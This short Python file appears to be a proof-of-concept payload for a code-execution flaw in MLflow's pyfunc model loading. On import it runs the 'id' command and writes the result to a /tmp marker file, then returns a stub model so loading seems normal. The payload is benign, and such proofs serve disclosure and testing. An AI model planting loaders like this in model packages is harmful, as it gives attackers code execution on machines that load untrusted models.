import subprocess, pathlib out = subprocess.check_output(['id']).decode(errors='replace').strip() pathlib.Path('/tmp/PWNED_mlflow.txt').write_text('RCE via code:+loader_module import on mlflow.pyfunc.load_model\n' + out + '\n') def _load_pyfunc(path, *a, **k): class X: def load_context(self, *a, **k): pass def predict(self, *a, **k): return None return X()